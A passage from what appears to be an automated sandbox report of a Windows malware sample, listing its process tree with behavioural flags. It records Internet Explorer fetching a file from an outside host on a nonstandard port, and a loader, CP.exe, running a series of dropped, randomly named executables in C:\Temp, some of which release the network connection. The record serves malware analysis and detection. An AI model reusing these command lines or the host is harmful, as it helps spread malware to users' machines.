  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2560,i,3267671061789565725,15038615549751344487,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=2700 /prefetch:13
      4⤵
      PID:4592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3604,i,8627332327918365295,13627390001462531297,2097152 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:1
      4⤵
      PID:2064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3624,i,6390864436450712323,6688076822551283984,2097152 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:1
      4⤵
      PID:916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4236,i,3910668698482674646,4328479265509445338,2097152 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:1
      4⤵
      PID:5752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4356,i,15274461382111818911,6391262292378100201,2097152 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:9
      4⤵
      PID:616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4400,i,1382207714585011952,4591813969821198811,2097152 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=4432 /prefetch:1
      4⤵
      PID:3348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5524,i,12563509719747400725,1805305505588362547,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
      4⤵
      PID:5804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,6333299269364247267,6428949448812732220,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:14
      4⤵
      PID:1476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4384,i,8619352807057615202,16633262420040206777,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:14
      4⤵
      PID:5816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6176,i,16502409810971715087,6340032867830544860,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:14
      4⤵
      PID:4568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6176,i,16502409810971715087,6340032867830544860,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:14
      4⤵
      PID:3308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,15534652372154423461,3547016735316120246,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14
      4⤵
      PID:2784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,196921184130979333,6968106531599048966,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:14
      4⤵
      PID:2140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,15106732384623095743,10975007846420727156,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=1276 /prefetch:14
      4⤵
      PID:5480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1272,i,12003753277550215490,6938873220135902060,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:14
      4⤵
      PID:2384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1416,i,2347584822413262526,1693014291308617222,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:14
      4⤵
      PID:6108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5764,i,3222410333267373411,14821057066874393269,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:14
      4⤵
      PID:4752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6452,i,14449735055254013249,13663813704151124398,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6708 /prefetch:14
      4⤵
      PID:2224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,9430781329856622851,2518944404288986376,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:14
      4⤵
      PID:1324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=948,i,210678738557019906,3748470488507637933,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:14
      4⤵
      PID:4444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,14599479768349784963,2146232334633160527,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:14
      4⤵
      PID:3344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5660,i,16331959781171323631,15928661262551619701,262144 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:10
      4⤵
      PID:936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,10552751857891463220,9721719125967548289,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
      4⤵
      PID:2348
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:3396
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wrojhtomgb.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3804
- - C:\Temp\wrojhtomgb.exe
    C:\Temp\wrojhtomgb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4716
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4788
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wrojhtomgb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1300
- - C:\Temp\i_wrojhtomgb.exe
    C:\Temp\i_wrojhtomgb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgdyvtolg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4612
- - C:\Temp\omgdyvtolg.exe
    C:\Temp\omgdyvtolg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3096
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2972
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4844
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgdyvtolg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5588
- - C:\Temp\i_omgdyvtolg.exe
    C:\Temp\i_omgdyvtolg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5612
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tqljgaysqo.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3388
- - C:\Temp\tqljgaysqo.exe
    C:\Temp\tqljgaysqo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3144
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3480
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4316
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tqljgaysqo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5748
- - C:\Temp\i_tqljgaysqo.exe
    C:\Temp\i_tqljgaysqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1068
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifayvqkida.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5888
- - C:\Temp\ifayvqkida.exe
    C:\Temp\ifayvqkida.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5104
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5932
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifayvqkida.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2816
- - C:\Temp\i_ifayvqkida.exe
    C:\Temp\i_ifayvqkida.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2264
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kidxusnkfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2868
- - C:\Temp\kidxusnkfd.exe
    C:\Temp\kidxusnkfd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5688
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4104
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kidxusnkfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:436
- - C:\Temp\i_kidxusnkfd.exe
    C:\Temp\i_kidxusnkfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4252
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\spnhfzxusq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1432
- - C:\Temp\spnhfzxusq.exe
    C:\Temp\spnhfzxusq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4284
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5096
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_spnhfzxusq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4876
- - C:\Temp\i_spnhfzxusq.exe
    C:\Temp\i_spnhfzxusq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3184
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pmhfzxrpmh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1668
- - C:\Temp\pmhfzxrpmh.exe
    C:\Temp\pmhfzxrpmh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1488
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1816
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4412
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pmhfzxrpmh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3380
- - C:\Temp\i_pmhfzxrpmh.exe
    C:\Temp\i_pmhfzxrpmh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3496
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomgezwrpj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5224
- - C:\Temp\uomgezwrpj.exe
    C:\Temp\uomgezwrpj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2088
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5352
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomgezwrpj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5576
- - C:\Temp\i_uomgezwrpj.exe
    C:\Temp\i_uomgezwrpj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2772
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mgeywqojgb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5896
- - C:\Temp\mgeywqojgb.exe
    C:\Temp\mgeywqojgb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1316
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4088
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4328
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mgeywqojgb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4272
- - C:\Temp\i_mgeywqojgb.exe
    C:\Temp\i_mgeywqojgb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3184
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\trljdbztom.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4412
- - C:\Temp\trljdbztom.exe
    C:\Temp\trljdbztom.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5936
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2624
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5584
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_trljdbztom.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5076
- - C:\Temp\i_trljdbztom.exe
    C:\Temp\i_trljdbztom.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3764
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lgdbvtolgd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:972
- - C:\Temp\lgdbvtolgd.exe
    C:\Temp\lgdbvtolgd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:616
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5204
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3376
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lgdbvtolgd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:708
- - C:\Temp\i_lgdbvtolgd.exe
    C:\Temp\i_lgdbvtolgd.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3612
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qoigaysqki.exe ups_run
  2⤵
  PID:1860
- - C:\Temp\qoigaysqki.exe
    C:\Temp\qoigaysqki.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4128
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4756
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4212
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qoigaysqki.exe ups_ins
  2⤵
  PID:4460
- - C:\Temp\i_qoigaysqki.exe
    C:\Temp\i_qoigaysqki.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6016
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fdxvsqkica.exe ups_run
  2⤵
  PID:4976
- - C:\Temp\fdxvsqkica.exe
    C:\Temp\fdxvsqkica.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2940
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5948
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fdxvsqkica.exe ups_ins
  2⤵
  PID:5368
- - C:\Temp\i_fdxvsqkica.exe
    C:\Temp\i_fdxvsqkica.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4252
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnifaxsqki.exe ups_run
  2⤵
  PID:5668
- - C:\Temp\pnifaxsqki.exe
    C:\Temp\pnifaxsqki.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1612
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2196
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4504
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnifaxsqki.exe ups_ins
  2⤵
  PID:4780
- - C:\Temp\i_pnifaxsqki.exe
    C:\Temp\i_pnifaxsqki.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:8
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fzxspkicau.exe ups_run
  2⤵
  PID:2960
- - C:\Temp\fzxspkicau.exe
    C:\Temp\fzxspkicau.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4940
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3740
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2616
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fzxspkicau.exe ups_ins
  2⤵
  PID:5060
- - C:\Temp\i_fzxspkicau.exe
    C:\Temp\i_fzxspkicau.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5804
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rpjhczusmk.exe ups_run
  2⤵
  PID:5448
- - C:\Temp\rpjhczusmk.exe
    C:\Temp\rpjhczusmk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5136
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3192
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5372
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rpjhczusmk.exe ups_ins
  2⤵
  PID:4444
- - C:\Temp\i_rpjhczusmk.exe
    C:\Temp\i_rpjhczusmk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2312
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jhbztrmjec.exe ups_run
  2⤵
  PID:1868
- - C:\Temp\jhbztrmjec.exe
    C:\Temp\jhbztrmjec.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4364
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3928
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jhbztrmjec.exe ups_ins
  2⤵
  PID:1068
- - C:\Temp\i_jhbztrmjec.exe
    C:\Temp\i_jhbztrmjec.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5300
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ebwuomgeyw.exe ups_run
  2⤵
  PID:2140
- - C:\Temp\ebwuomgeyw.exe
    C:\Temp\ebwuomgeyw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1164
  - - C:\temp\CP.exe
